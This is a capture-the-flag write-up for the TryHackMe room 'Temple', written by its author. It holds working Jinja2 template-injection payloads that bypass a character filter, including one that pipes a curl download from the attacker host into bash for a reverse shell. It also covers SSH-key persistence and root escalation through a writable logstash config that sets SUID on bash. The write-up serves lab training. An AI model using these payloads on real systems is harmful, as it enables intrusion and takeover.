THM Writeup: Temple

Earlier this week I decided to develop a unique web challenge for Try Hack Me, which is named “Temple”. You can find the room here. The platform was developed using Python Flask and MariaDB as the database backend.

Recon and enumeration

After deploying the machine, it is good to wait for a few minutes; as some of the services might not run until the machine has fully booted. The machine has six open ports. However, one port stands out, which is port number 61337.

Enumerating the running services on port 61337 shows that there is a Python webserver.

Visting the webpage displays a login form. Any entered value will only return a “Invalid username/password” response. Simple credentials such as admin/admin and so on does not work…

Manually looking for injections leads to a “Hacking attempt detected!” error message. The application detects whether the user has entered an illegal character or not. This is interesting, but still nothing that stands out. Let us keep a note of this, as it might come in handy. SQLmap and Active Scan from Burp Suite Pro does not indicate that there is a SQL injection.

The next step is to enumerate even more. Maybe we can find something useful on the webserver, as the login form does not give us anything interesting? Let us run the following command:

gobuster dir -u http://10.10.229.93:61337 -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -t 200 -q

The directory “temporary” looks interesting enough. The same goes for “admin” and “application” as well, even though they are returning a 403 forbidden page. There might still be available files/folders recursively. Let us fuzz these directories.

After discovering nothing interesting recursively behind the “admin” and “application”, we discover a “dev” directory behind “temporary”. This resulted in a 200 OK response from /temporary/dev/newacc. Promising…?

The “newacc” directory allows a user to register a new account. This is good news, as we can now successfully gain access using the login form.

Getting a shell

After logging in and browsing around the webserver we discover that the username is reflected under the “Account” tab. As the webserver is running Python, is there a templating engine…? In that case, we can control the value of the username and get the template to render any “username” value.

After some trial and error, we discover that it is possible to create aunique username as the payload, which can be used to inject a template. The payload {{7*7}} is common for Jinja2, and will render as the number 49 if the target is injectable.

After logging in and browsing to the “Account” page, the username 49 is returned. This confirms that the page is vulnerable to Server-Side Template Injection (SSTI). Remember earlier when we noticed that the e-mail, username, and password were protected by a filter? Every single tick, undersore, etc is blacklisted. Therefore, we must attempt to bypass the filter when registering a new user with the username payload. The article below is a great resource:

https://medium.com/@nyomanpradipta120/jinja2-ssti-filter-bypasses-a8d3eb7b000f

The article shows how different types of encoding can be used to bypass a SSTI filter, such as underscores. Remember, a single tick ‘ is blacklisted, while ” is not. Therefore, we must replace the ticks to quotes instead to bypass the filter. The new payload will list the available Python classes:

{{()|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fbase\x5f\x5f")|attr("\x5f\x5fsubclasses\x5f\x5f")()}}

As we now have access to the available classes, we must organise them into a friendly format, which allows us to display how many classes there are – and of course in which order they are. We are interested in the Python class subprocesses, as we can use Popen to execute a command on the system. We can copy and paste the available classes into a text editor and organise the classes line-by-line. This shows that subprocess.Popen is class number 202.

We can confirm that we have the correct class selected by sending in a similar payload as earlier, but only extending it to select number 202. Register a new user with the following payload as username:

{{()|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fbase\x5f\x5f")|attr("\x5f\x5fsubclasses\x5f\x5f")()|attr("\x5f\x5fgetitem\x5f\x5f")(202)}}

As expected, the username renders as “subprocess.Popen”. The correct class is selected, and we can finally execute our malicious payload. The following payload below will spawn a new subprocess and execute curl. Curl will grab a reverse shell payload which is hosted on the attacker machine and execute it.

{{()|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fbase\x5f\x5f")|attr("\x5f\x5fsubclasses\x5f\x5f")()|attr("\x5f\x5fgetitem\x5f\x5f")(202)("curl 10.9.1.114/shell.sh | bash",shell=True,stdout=-1)|attr("communicate")()|attr("\x5f\x5fgetitem\x5f\x5f")(0)|attr("decode")("utf-8")}}

Privilege escalation

The flag1.txt file can be located in bill’s home directory. The next step is to gain root access. There are many ways to enumerate the system. The best option is to use an enumeration script. However, we will first proceed to gain a better foothold; as the shell is limited. Generate a new SSH keypair with ssh-keygen. From thereon, put your id_rsa.pub key inside the .ssh folder as authorized_keys on the targeted system.

After copying the id_rsa.pub file into the authorized_keys file, we can SSH into the system as bill without supplying a password, as shown below:

The next step is to enumerate the system to find any privilege escalation vectors. In this case, LinEnum.sh is transferred to the targeted system using curl. You could also just copy/paste scripts locally using vim or similar, as the shell is fully interactive.

Overall, LinEnum gives several hints regarding a logstash installation, as shown below. There are several lines of output from LinEnum which stands out. All of these are related to logstash. The process is also currently running as root. Other enumeration scripts would also give clues regarding logstash.

If we inspect the logstash installation, there are several files which are of interest. The pipelines.yml file will let us know which .conf files will be included when the application is running. In this case, a wildcard is used. In practice, it will read and include all .conf files inside the /etc/logstash/conf.d directory. This also includes the logstash-sample.conf file, which we also have write permissions to.

Even though we can modify any *.conf files does not mean that any value will get parsed to logstash. If we check the /etc/logstash/logstash.yml file, the config.reload.automatic is set to true. The config.reload.interval is also set to 3s. This means that any modified *.conf file will automatically get reloaded and parsed to logstash.

Use vim /etc/logstash/conf.d/logstash-sample.conf to open the file. Please do not use nano 😉 In this file, we can build any configuration which will be parsed and executed to logstash. The configuration file below will execute the command whoami every 10 seconds and redirect the output to /tmp/output.log.

After waiting a couple of minutes, the /tmp/output.log file is present. Logstash is executing whoami – as root!

From hereon, we can modify logstash to execute any command, which we will misuse to become root. A simple and effective way to do this is to enable a SUID on bash. This can be done with the command chmod +s /bin/bash, as shown below. This will allow any user to run bash in privilege mode.

Notice how /bin/bash does now have the SUID set. Execute bash -p and you do now have root privileges 🙂

Game over.